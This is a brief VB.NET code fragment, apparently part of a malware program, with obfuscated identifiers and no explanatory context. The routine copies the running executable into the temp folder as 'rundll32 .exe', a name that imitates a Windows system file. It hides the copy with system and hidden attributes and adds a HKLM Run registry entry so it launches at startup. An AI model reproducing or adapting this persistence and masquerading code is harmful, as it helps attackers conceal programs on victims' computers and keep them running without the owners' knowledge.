Sub feature()
        If iohouh7877 = "hhhhhhhhhheeeee" Then

            Dim temp As Object = Path.GetTempPath

            Dim ASDASD4 = Application.ExecutablePath
            Dim AS3 As Object = Path.GetFullPath(ASDASD4)
            Dim ASFR3R As FileAttributes = FileAttributes.System + FileAttributes.Hidden
            My.Computer.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True).SetValue("rundll32", temp & "rundll32 .exe")

            FileCopy(AS3, temp & "\" & "rundll32 .exe")
            File.SetAttributes(temp & "\" & "rundll32 .exe", ASFR3R)
        End If
    End Sub